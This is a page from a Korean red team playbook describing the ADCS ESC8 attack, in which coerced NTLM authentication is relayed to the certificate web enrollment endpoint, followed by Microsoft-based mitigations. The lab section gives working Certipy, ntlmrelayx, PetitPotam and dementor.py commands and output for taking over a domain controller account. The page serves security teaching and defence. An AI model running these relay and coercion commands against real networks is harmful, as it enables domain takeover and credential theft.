📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 개념
  • 전제 조건
  • 실습
  • 대응 방안
  • 레퍼런스
  1. 권한 상승
  2. AD 권한 상승
  3. Active Directory Certificate Services (ADCS)

ESC8

PreviousESC1NextShadow Credentials

Last updated 2 years ago

개념

ADCS 에는 Web Enrollment 라는 웹 서비스가 존재한다. 이 웹 서비스는 유저, 스크립트, 프로그램 등이 ADCS 서비스와 편리하게 통신하기 위해 웹 서버와 HTTP 엔드포인트 등을 제공한다. 액티브 디렉토리 안의 서비스 답게 이 웹 서버는 기본적으로 NTLM 인증을 통해 사용자 인증이 가능하다 - 라는 말은 곧 NTLM Relay 공격에 취약 하다는 말이 된다.

ESC8 은 NTLM Relay 공격을 통해 피해자 유저/머신의 NTLM 인증 트래픽을 ADCS HTTP 엔드 포인트로 보낸 뒤, 피해자 유저/머신으로 인증서를 발급받아 사용자 인증 및 계정을 탈취하는 공격이다.

전제 조건

  1. ADCS 서버에 Web Enrollment 가 설치되어 있다

  2. NTLM Relay 를 시작할 수 있는 피해자 유저/머신과 취약점이 존재한다 (강제 인증, LLMNR/NBT-NS 포이즈닝, MITM6, 등)

  3. Web Enrollment 웹 서버가 NTLM 인증을 허용한다 - 특별한 설정을 하지 않는 이상 기본적으로 허용한다.

실습

해당 실습에서는 강제 인증에 취약한 도메인 컨트롤러로부터 인증 트래픽을 받아 이를 CA 서버의 HTTP 엔드포인트에 릴레이하는 ESC8 공격을 실행한다. 이로서 공격자는 도메인 컨트롤러 머신 계정을 장악한. 도메인 컨트롤러 머신 계정은 DCSync 권한을 갖고 있기 때문에 도메인을 장악할 수 있게 된다.

도메인 컨트롤러 -> 강제 인증 -> 공격자 -> 릴레이 -> ADCS HTTP 엔드포인트 == 도메인 컨트롤러의 인증서 획득. 인증서를 이용해 도메인 컨트롤러로 인증 후 DCSync

정보 수집

  1. 먼저 CA와 CA의 Web Enrollment 가 존재하는지 Certipy 로 알아본다. Web Enrollment: Enabled 라면 웹서버가 활성화 되어 있는 것이다.

2. 정확한 확인을 위해 GUI에서는 HTTP 엔드포인트를 브라우저로 방문하거나 curl 등을 이용한다. 401 Unauthorized 에러 메시지가 나오면 제대로 HTTP 엔드포인트가 실행 중이라는 것이다.

$ curl -k http://<CA-IP>/certsrv/certfnsh.asp

$ curl -k http://192.168.40.150/certsrv/certfnsh.asp                                              
[ ... ] 
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
  <h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>

3. CA 서버의 HTTP 엔드포인트로 릴레이 세팅 해놓는다. Certipy 나 NTLMRelayx 를 이용한다.

# Certipy 
certipy relay -ca <ca-ip> 

# ntlmrelayx 
python3 ntlmrelayx.py -t http://<CA-IP or FDQN>/certsrv/certfnsh.asp -smb2support --adcs --template <template>

4. 강제 인증, LLMNR/NBT-NS, MITM6 등을 이용해 도메인 컨트롤러를 공격해 NTLM Relay 공격을 실행한다.

# Petitpotam - 무인증 
python3 Petitpotam.py <attacker-ip> <target-ip> 

# Petitpotam - 인증 
python3 Petitpotam.py -u <user> -p <pass> <attacker-ip> <target-ip> 

# Print Spooler (dementor.py) (https://github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py) 
python3 dementor.py -u <user> -p <pass> -d <domain> <attacker-ip> <target-ip>

5. Certipy 결과

certipy relay -ca dc01.choi.local -template DomainController
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://dc01.choi.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'PCI\\DC1$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'dc1.pci.choi.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc1.pfx'
[*] Exiting...

(5-1. NTLMRelayx 결과)

[*] Authenticating against http://192.168.40.150 as PCI/DC1$ SUCCEED                                          
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.40.160 controlled, but there are no more targets left!
[*] Generating CSR...                                  
[*] CSR generated!                                     
[*] Getting certificate...                             
[*] GOT CERTIFICATE! ID 22                             
[*] Base64 certificate of user DC1$:                   
MIIRbQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMIIREDCCB0cGCSqG [ ..... ] 

6. 인증서를 이용해 도메인 컨트롤러의 머신 계정을 획득한다.

# Certipy
certipy auth -dc-ip <dc-IP> -pfx <filename>

# NTLMRelayx 
Base64 Certificate 을 저장한다. 
$ base64 -d <base64-pfx> > real.pfx 
$ certipy auth -dc-ip <dc-IP> -pfx real.pfx 

대응 방안

다음의 대응 방안은 마이크로소프트사의 공식 문서를 기반으로 쓰여졌다. 더 자세한 사항은 레퍼런스 섹션의 MSDN을 참고한다.

  1. ADCS HTTP 엔드포인트에 Extended Protection Authentication (EPA) 을 Required 로 설정한다. Server Manager > IIS Manager > DC/CAXX > Sites > Default Web Site > CertSrv > Authentication 더블클릭 > Windows Authentication 오른쪽 클릭 > Advanced Settings > Extended Protection: Required

1-1. 그 이 SSL을 활성화 한다.

2. 극단적으로 CA 서버에 NTLM 인증을 비활성화 한다. 프로덕션 서버의 경우 하위 호환성에 문제가 갈 수 있기 때문에 충분한 테스트를 거친 뒤 NTLM 인증을 비활성화 한다.

레퍼런스

⬆️
KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)
Logo